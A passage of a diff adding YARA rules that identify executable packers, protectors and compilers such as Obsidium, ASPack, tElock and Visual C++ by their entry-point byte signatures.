+		$0 = {EB 01 ?? E8 2B 00 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 23 EB 03 ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 03 ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 02 ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 ?? ?? ?? ?? EB 01 ?? E8 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? EB 01 ?? 58 EB 03 ?? ?? ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 01 ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _PUNiSHER_V15_Demo__FEUERRADER_
+{
+	meta:
+		description = "PUNiSHER V1.5 Demo -> FEUERRADER"
+	strings:
+		$0 = {3F 00 00 80 66 20 ?? 00 7E 20 ?? 00 92 20 ?? 00 A4 20 ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v032_Beta__Dwing_
+{
+	meta:
+		description = "Upack v0.32 Beta -> Dwing"
+	strings:
+		$0 = {BE 88 01 ?? ?? AD 50 ?? ?? AD 91 F3 A5}
+		$1 = {BE 88 01 ?? ?? AD 50 ?? AD 91 ?? F3 A5}
+	condition:
+		$0 or $1
+}
+rule _RPolyCryptor_V142__Vaska_
+{
+	meta:
+		description = "RPolyCryptor V1.4.2 -> Vaska"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _TMTPascals_Unit_file_
+{
+	meta:
+		description = "TMT-Pascal's Unit file"
+	strings:
+		$0 = {50 00 00 00 53 50 46 50}
+	condition:
+		$0 at entrypoint
+}
+rule _Unpacked_BSSFX_Archive_v19_
+{
+	meta:
+		description = "Unpacked BS-SFX Archive v1.9"
+	strings:
+		$0 = {1E 33 C0 50 B8 ?? ?? 8E D8 FA 8E D0 BC ?? ?? FB B8 ?? ?? CD 21 3C 03 73}
+	condition:
+		$0 at entrypoint
+}
+rule _Symantec_WinFax_PRO_75_Coverpage_
+{
+	meta:
+		description = "Symantec WinFax PRO 7.5 Coverpage"
+	strings:
+		$0 = {0C BD 03 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C0 06 80}
+	condition:
+		$0 at entrypoint
+}
+rule _Pe_Ninja__pDzA_kRAker_TNT_
+{
+	meta:
+		description = "Pe Ninja -> +DzA kRAker [TNT"
+	strings:
+		$0 = {BE 5B 2A 40 00 BF 35 12 00 00 E8 40 12 00 00 3D 22 83 A3 C6 0F 85 67 0F 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+		$1 = {BE 5B 2A 40 00 BF 35 12 00 00 E8 40 12 00 00 3D 22 83 A3 C6 0F 85 67 0F 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _yodas_Protector_1031__Ashkibiz_Danehlar_
+{
+	meta:
+		description = "yoda's Protector 1.03.1 -> Ashkibiz Danehlar"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 74 72 42 00 8B D5 81 C2 C3 72 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 3F A9 42 00 81 E9 6E 73 42 00 8B D5 81 C2 6E 73 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 98 2E 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 90 EB 01 ?? AC}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V121_Dll_LZMA_430__ap0x__20080504_
+{
+	meta:
+		description = "RLPack V1.21 Dll (LZMA 4.30) -> ap0x * 20080504"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 AF 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 E0 0C 00 00 EB 0C 8B 85 DC 0C 00 00 89 85 E0 0C 00 00 E8 87 01 00 00 8D B5 08 0D 00 00 8D 9D C6 04 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 71 0C 00 00 89 85 D8 0C 00 00 E8 98 01 00 00 EB 20 60 8B 85 E0 0C 00 00 FF B5 D8 0C 00 00 FF 34 37 01 04 24 FF 74 37 04 01 04 24 FF D3 61 83 C7 08 83 3C 37 00 75 DA 83 BD EC 0C 00 00 00 74 0E 83 BD F0 0C 00 00 00 74 05 E8 31 02 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 71 0C 00 00 89 85 04 0D 00 00 5B 60 FF B5 D8 0C 00 00 56 FF B5 04 0D 00 00 FF D3 61 8B B5 04 0D 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD E0 0C 00 00 83 C0 04 89 85 00 0D 00 00 EB 72 56 FF 95 69 0C 00 00 0B C0 75 05 E8 25 03 00 00 85 C0 0F 84 AC 00 00 00 89 85 FC 0C 00 00 8B C6 EB 2E 8B 85 00 0D 00 00 8B 00 50 FF B5 FC 0C 00 00 E8 6D 02 00 00 85 C0 0F 84 86 00 00 00 89 07 83 85 00 0D 00 00 04 83 C7 04 8B 85 00 0D 00 00 83 38 00 75 CD EB 01 46 80 3E 00 75 FA 46 83 C0 04 8B 38 03 BD E0 0C 00 00 83 C0 04 89 85 00 0D 00 00 80 3E 01 75 89 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 04 0D 00 00 FF 95 75 0C 00 00 68 ?? ?? ?? ?? 6A 00 FF B5 04 0D 00 00 FF 95 75 0C 00 00 68 ?? ?? ?? ?? 6A 00 FF B5 D8 0C 00 00 FF 95 75 0C 00 00 E8 A0 00 00 00 E8 9B 01 00 00 61 E9 ?? ?? ?? ?? ?? 61 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_NorthStar_PE_Shrinker_13_
+{
+	meta:
+		description = "PseudoSigner 0.2 [NorthStar PE Shrinker 1.3"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Rec_014_
+{
+	meta:
+		description = "Rec 0.14"
+	strings:
+		$0 = {06 1E 0E 0E 07 1F 52 B8 00 30 1E CD 21 86 E0 3D FF 02 73 02 CD 20 0E 1F B4 09 E8 03 00 24 24 EA 5A CD 21 1F 5A 53 BB EB 04 5B EB FB 9A EB 2D FE 20 E7 E4 9B 20 30 2E 31 34 20 28 87 29 20 EB 98 20 E7 30 24 EE 20 FE 20 9F AD 64 30 3A 20 32 3A}
+	condition:
+		$0 at entrypoint
+}
+rule _codeCrypter_031_
+{
+	meta:
+		description = "codeCrypter 0.31"
+	strings:
+		$0 = {50 58 53 5B 90 BB ?? ?? 40 00 FF E3 90 CC CC CC 55 8B EC 5D C3}
+		$1 = {50 58 53 5B 90 BB ?? ?? 40 00 FF E3 90 CC CC CC 55 8B EC 5D C3 CC CC CC CC CC CC CC CC CC CC CC}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _PEiDBundle_v100__BoB__BobSoft_
+{
+	meta:
+		description = "PEiD-Bundle v1.00 --> BoB / BobSoft"
+	strings:
+		$0 = {60 E8 21 02 00 00 8B 44 24 04 52 48 66 31 C0 66 81 38 4D 5A 75 F5 8B 50 3C 81 3C 02 50 45 00 00 75 E9 5A C2 04 00 60 89 DD 89 C3 8B 45 3C 8B 54 28 78 01 EA 52 8B 52 20 01 EA 31 C9 41 8B 34 8A}
+		$1 = {60 E8 21 02 00 00 8B 44 24 04 52 48 66 31 C0 66 81 38 4D 5A 75 F5 8B 50 3C 81 3C 02 50 45 00 00 75 E9 5A C2 04 00 60 89 DD 89 C3 8B 45 3C 8B 54 28 78 01 EA 52 8B 52 20 01 EA 31 C9 41 8B 34 8A}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Packman_V10__Brandon_LaCombe_
+{
+	meta:
+		description = "Packman V1.0 -> Brandon LaCombe"
+	strings:
+		$0 = {60 E8 00 00 00 00 5B 8D 5B C6 01 1B 8B 13 8D 73 14 6A 08 59 01 16 AD 49 75 FA}
+		$1 = {60 E8 00 00 00 00 5B 8D 5B C6 01 1B 8B 13 8D 73 14 6A 08 59 01 16 AD 49 75 FA}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ExeSplitter_10__Bill_Prisoner__TPOC_
+{
+	meta:
+		description = "ExeSplitter 1.0 -> Bill Prisoner / TPOC"
+	strings:
+		$0 = {E9 ?? ?? ?? 00 4D 5A ?? 00 ?? 00 00 00 04 00 ?? 00 FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 ?? 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CodeCrypt_0163b_
+{
+	meta:
+		description = "CodeCrypt 0.163b"
+	strings:
+		$0 = {EB 02 0F 4D 55 EB 02 0F C7 E8 00 00 00 00 EB 02 83 3D 5D EB 03 0F CA 0F 81 ED 6D 23 40 00 52 8B 54 24 08 E8 A5 FD FF FF 89 95 59 2B 40 00 5A EB 02 0F 4D EB 02 FF 1D EB 02 0F C7 EB 02 0F C0 EB 03 0F CA 0F EB 03 FF 1D 34 EB 02 83 3D EB 02 C7}
+	condition:
+		$0 at entrypoint
+}
+rule _XtremeProtector_107__Rafael_Ahucha__Sergio_Lara_
+{
+	meta:
+		description = "Xtreme-Protector 1.07 -> Rafael Ahucha & Sergio Lara"
+	strings:
+		$0 = {B8 ?? ?? ?? 00 B9 8E ?? ?? 00 50 51 E8 1E 00 00 00 E8 00 00 00 00 58 2D 16 00 00 00 B9}
+	condition:
+		$0 at entrypoint
+}
+rule _Minke_101__by_Codius_
+{
+	meta:
+		description = "Minke 1.0.1 - by Codius"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 ?? ?? ?? ?? ?? 10 E8 7A F6 FF FF BE 68 66 00 10 33 C0 55 68 DB 40 00 10 64 FF 30 64 89 20 E8 FA F8 FF FF BA EC 40 00 10 8B C6 E8 F2 FA FF FF 8B D8 B8 6C 66 00 10 8B 16 E8 88 F2 FF FF B8 6C 66 00 10 E8 76 F2 FF FF 8B D0 8B C3 8B 0E E8 E3 E4 FF FF E8 2A F9 FF FF E8 C1 F8 FF FF B8 6C 66 00 10 8B 16 E8 6D FA FF FF E8 14 F9 FF FF E8 AB F8 FF FF 8B 06 E8 B8 E3 FF FF 8B D8 B8 6C 66 00 10 E8 38 F2 FF FF 8B D3 8B 0E E8 A7 E4 FF ?? ?? ?? ?? C4 FB FF FF E8 E7 F8 FF FF 8B C3 E8 B0 E3 FF FF E8 DB F8 FF FF 33 C0 5A 59 59 64 89 10 68 E2 40 00 10 C3 E9 50 EB FF FF EB F8 5E 5B E8 BB EF FF FF 00 00 00 43 41 31 38}
+		$1 = {55 8B EC 83 C4 F0 53 ?? ?? ?? ?? ?? 10 E8 7A F6 FF FF BE 68 66 00 10 33 C0 55 68 DB 40 00 10 64 FF 30 64 89 20 E8 FA F8 FF FF BA EC 40 00 10 8B C6 E8 F2 FA FF FF 8B D8 B8 6C 66 00 10 8B 16 E8 88 F2 FF FF B8 6C 66 00 10 E8 76 F2 FF FF 8B D0 8B C3 8B 0E E8 E3 E4 FF FF E8 2A F9 FF FF E8 C1 F8 FF FF B8 6C 66 00 10 8B 16 E8 6D FA FF FF E8 14 F9 FF FF E8 AB F8 FF FF 8B 06 E8 B8 E3 FF FF 8B D8 B8 6C 66 00 10 E8 38 F2 FF FF 8B D3 8B 0E E8 A7 E4 FF ?? ?? ?? ?? C4 FB FF FF E8 E7 F8 FF FF 8B C3 E8 B0 E3 FF FF E8 DB F8 FF FF 33 C0 5A 59 59 64 89 10 68 E2 40 00 10 C3 E9 50 EB FF FF EB F8 5E 5B E8 BB EF FF FF 00 00 00 43 41 31 38}
+		$2 = {55 8B EC 83 C4 F0 53 ?? ?? ?? ?? ?? 10 E8 7A F6 FF FF BE 68 66 00 10 33 C0 55 68 DB 40 00 10 64 FF 30 64 89 20 E8 FA F8 FF FF BA EC 40 00 10 8B C6 E8 F2 FA FF FF 8B D8 B8 6C 66 00 10 8B 16 E8 88 F2 FF FF B8 6C 66 00 10 E8 76 F2 FF FF 8B D0 8B C3 8B 0E E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _PseudoSigner_01_LCC_Win32_1x_
+{
+	meta:
+		description = "PseudoSigner 0.1 [LCC Win32 1.x"
+	strings:
+		$0 = {64 A1 01 00 00 00 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 9A 10 40 90 50 E9}
+		$1 = {64 A1 01 00 00 00 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 9A 10 40 90 50 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _eXPressor_V10__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor V1.0 -> CGSoftLabs"
+	strings:
+		$0 = {E9 35 14 00 00 E9 31 13 00 00 E9 98 12 00 00 E9 EF 0C 00 00 E9 42 13 00 00 E9 E9 02 00 00 E9 EF 0B 00 00 E9 1B 0D 00 00}
+		$1 = {E9 35 14 00 00 E9 31 13 00 00 E9 98 12 00 00 E9 EF 0C 00 00 E9 42 13 00 00 E9 E9 02 00 00 E9 EF 0B 00 00 E9 1B 0D 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_DEF_10__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [DEF 1.0] --> Anorganix"
+	strings:
+		$0 = {BE 00 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 83 C1 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_13021__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.0.21 -> Obsidium Software"
+	strings:
+		$0 = {EB 03 ?? ?? ?? E8 2E 00 00 00 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 02 ?? ?? 50 EB}
+		$1 = {EB 03 ?? ?? ?? E8 2E 00 00 00 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 02 ?? ?? 50 EB 01 ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 01 ?? 58 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 2B 26 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Unnamed_Scrambler_11C__p0ke_
+{
+	meta:
+		description = "Unnamed Scrambler 1.1C -> p0ke"
+	strings:
+		$0 = {55 8B EC 83 C4 E4 53 56 33 C0 89 45 E4 89 45 E8 89 45 EC B8 C0 47 00 10 E8 4F F3 FF FF BE 5C 67 00 10 33 C0 55 68 D2 4A 00 10 64 FF 30 64 89 20 E8 EB DE FF FF E8 C6 F8 FF FF BA E0 4A 00 10 B8 CC 67 00 10 E8 5F F8 FF FF 8B D8 8B D6 8B C3 8B 0D CC 67 00 10 E8 3A DD FF FF 8B 46 50 8B D0 B8 D4 67 00 10 E8 5B EF FF FF B8 D4 67 00 10 E8 09 EF FF FF 8B D0 8D 46 14 8B 4E 50 E8 14 DD FF FF 8B 46 48 8B D0 B8 D8 67 00 ?? ?? ?? ?? ?? FF B8 D8 67 00 10 E8 E3 EE FF FF 8B D0 8B C6 8B 4E 48 E8 EF DC FF FF FF 76 5C FF 76 58 FF 76 64 FF 76 60 B9 D4 67 00 10 8B 15 D8 67 00 10 A1 D4 67 00 10 E8 76 F6 FF FF A1 D4 67 00 10 E8 5C EE FF FF 8B D0 B8 CC 67 00 10 E8 CC F7 FF FF 8B D8 B8 DC 67 00 10}
+		$1 = {55 8B EC 83 C4 E4 53 56 33 C0 89 45 E4 89 45 E8 89 45 EC B8 C0 47 00 10 E8 4F F3 FF FF BE 5C 67 00 10 33 C0 55 68 D2 4A 00 10 64 FF 30 64 89 20 E8 EB DE FF FF E8 C6 F8 FF FF BA E0 4A 00 10 B8 CC 67 00 10 E8 5F F8 FF FF 8B D8 8B D6 8B C3 8B 0D CC 67 00 10 E8 3A DD FF FF 8B 46 50 8B D0 B8 D4 67 00 10 E8 5B EF FF FF B8 D4 67 00 10 E8 09 EF FF FF 8B D0 8D 46 14 8B 4E 50 E8 14 DD FF FF 8B 46 48 8B D0 B8 D8 67 00 ?? ?? ?? ?? ?? FF B8 D8 67 00 10 E8 E3 EE FF FF 8B D0 8B C6 8B 4E 48 E8 EF DC FF FF FF 76 5C FF 76 58 FF 76 64 FF 76 60 B9 D4 67 00 10 8B 15 D8 67 00 10 A1 D4 67 00 10 E8 76 F6 FF FF A1 D4 67 00 10 E8 5C EE FF FF 8B D0 B8 CC 67 00 10 E8 CC F7 FF FF 8B D8 B8 DC 67 00 10}
+		$2 = {55 8B EC 83 C4 E4 53 56 33 C0 89 45 E4 89 45 E8 89 45 EC B8 C0 47 00 10 E8 4F F3 FF FF BE 5C 67 00 10 33 C0 55 68 D2 4A 00 10 64 FF 30 64 89 20 E8 EB DE FF FF E8 C6 F8 FF FF BA E0 4A 00 10 B8 CC 67 00 10 E8 5F F8 FF FF 8B D8 8B D6 8B C3 8B 0D CC 67 00 10}
+	condition:
+		$0 at entrypoint or $1 or $2 at entrypoint
+}
+rule _TTProtect_V10X__somuch____20080806_
+{
+	meta:
+		description = "TTProtect V1.0X -> somuch   * 20080806"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 50 57 53 9C E8 ?? 00 00 00}
+	condition:
+		$0
+}
+rule _Thinstall_24x__25x__Jitit_Software_
+{
+	meta:
+		description = "Thinstall 2.4x - 2.5x -> Jitit Software"
+	strings:
+		$0 = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? BD ?? ?? ?? ?? 03 E8}
+		$1 = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? BD}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Obsidium_V1350__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.3.5.0 -> Obsidium Software"
+	strings:
+		$0 = {EB 03 ?? ?? ?? E8 ?? ?? ?? ?? EB 02 ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 20 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 04 ?? ?? ?? ?? 50 EB}
+		$1 = {EB 03 ?? ?? ?? E8 ?? ?? ?? ?? EB 02 ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 20 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 04 ?? ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 01 ?? E8 ?? ?? ?? ?? EB 01 ?? EB 02 ?? ?? 58 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 02 ?? ?? 83 C4 04 EB 01 ?? E8}
+		$2 = {EB 03 ?? ?? ?? E8 ?? ?? ?? ?? EB 02 ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 20 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 04 ?? ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 01 ?? E8 ?? ?? ?? ?? EB 01 ?? EB 02 ?? ?? 58 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 02 ?? ?? 83 C4 04 EB 01 ?? E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _PassLock_2000_10_Eng__MoonlightSoftware_
+{
+	meta:
+		description = "PassLock 2000 1.0 (Eng) -> Moonlight-Software"
+	strings:
+		$0 = {55 8B EC 53 56 57 BB 00 50 40 00 66 2E F7 05 34 20 40 00 04 00 0F 85 98 00 00 00 E8 1F 01 00 00 C7 43 60 01 00 00 00 8D 83 E4 01 00 00 50 FF 15 F0 61 40 00 83 EC 44 C7 04 24 44 00 00 00 C7 44 24 2C 00 00 00 00 54 FF 15 E8 61 40 00 B8 0A 00 00 00 F7 44 24}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_Install_System_20a0_
+{
+	meta:
+		description = "Nullsoft Install System 2.0a0"
+	strings:
+		$0 = {83 EC 0C 53 56 57 FF 15 B4 10 40 00 05 E8 03 00 00 BE E0 E3 41 00 89 44 24 10 B3 20 FF 15 28 10 40 00 68 00 04 00 00 FF 15 14 11 40 00 50 56 FF 15 10 11 40 00 80 3D E0 E3 41 00 22 75 08 80 C3 02 BE E1 E3 41 00 8A 06 8B 3D 14 12 40 00 84 C0 74 19 3A C3 74}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_50__71_
+{
+	meta:
+		description = "Microsoft Visual C++ 5.0 - 7.1"
+	strings:
+		$0 = {55 8B EC 81 EC 04 01 00 00 68 04 01 00 00 8D 85 FC FE FF FF 50 6A 00 FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D FC FE FF FF 51 E8 ?? ?? ?? ?? 83 C4 04 E8 ?? ?? ?? ?? 6A 00 FF 15 ?? ?? ?? ?? 8B E5 5D C2 10 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PELOCknt_202_
+{
+	meta:
+		description = "PELOCknt 2.02"
+	strings:
+		$0 = {EB 02 C7 85 1E EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB 02 CD 20 60 EB 03 CD 20 EB E8 03 00 00 00 E9 EB 04 58 40 50 C3 EB 04 CD 20 EB 02 EB 02 CD 20 EB 03 CD 20 EA FC EB 03 CD 20 69 E8 00 00 00 00 EB 02 EB 01 EB 01 EB 5E EB 02 CD 20 0F 01 4E}
+	condition:
+		$0 at entrypoint
+}
+rule _MultiEdits_Programming_Language_help_
+{
+	meta:
+		description = "MultiEdit`s Programming Language help"
+	strings:
+		$0 = {0C 2A 20}
+	condition:
+		$0 at entrypoint
+}
+rule _AHTeam_EP_Protector_03_fake_VIRUSIWorm_Hybris__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake VIRUS/I-Worm Hybris) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 EB 16 A8 54 00 00 47 41 42 4C 4B 43 47 43 00 00 00 00 00 00 52 49 53 00 FC 68 4C 70 40 00 FF 15}
+		$1 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 EB 16 A8 54 00 00 47 41 42 4C 4B 43 47 43 00 00 00 00 00 00 52 49 53 00 FC 68 4C 70 40 00 FF 15}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _ASPack_107b_DLL_
+{
+	meta:
+		description = "ASPack 1.07b [DLL]"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 3E D9 43 00 B8 38 D9 43 00 03 C5 2B 85 0B DE 43 00 89 85 17 DE 43 00 80 BD 01 DE 43 00 00 75 15 FE 85 01 DE 43 00 E8 1D 00 00 00 E8 79 02 00 00 E8 12 03 00 00 8B 85 03 DE 43 00 03 85 17 DE 43 00 89 44 24 1C 61 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Unknown_UPX_modifyer_
+{
+	meta:
+		description = "Unknown UPX modifyer"
+	strings:
+		$0 = {E8 02 00 00 00 CD 03 5A 81 C2 ?? ?? ?? ?? 81 C2 ?? ?? ?? ?? 89 D1 81 C1 3C 05 00 00 52 81 2A 33 53 45 12 83 C2 04 39 CA 7E F3 89 CA 8B 42 04 8D 18 29 02 BB 78 56 00 00 83 EA 04 3B 14 24 7D EC C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Soft_Defender_11x__Randy_Li_
+{
+	meta:
+		description = "Soft Defender 1.1x -> Randy Li"
+	strings:
+		$0 = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_099__10_private__tE_
+{
+	meta:
+		description = "tElock 0.99 - 1.0 private -> tE!"
+	strings:
+		$0 = {E9 ?? ?? E8 ?? ?? 5D ?? ?? ?? ?? ?? 81 ED ?? ?? ?? ?? ?? ?? E8 ?? ?? 81 FC ?? ?? ?? ?? 8D ?? ?? ?? BF ?? ?? 57 A4 A5}
+		$1 = {E9 ?? ?? FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00}
+	condition:
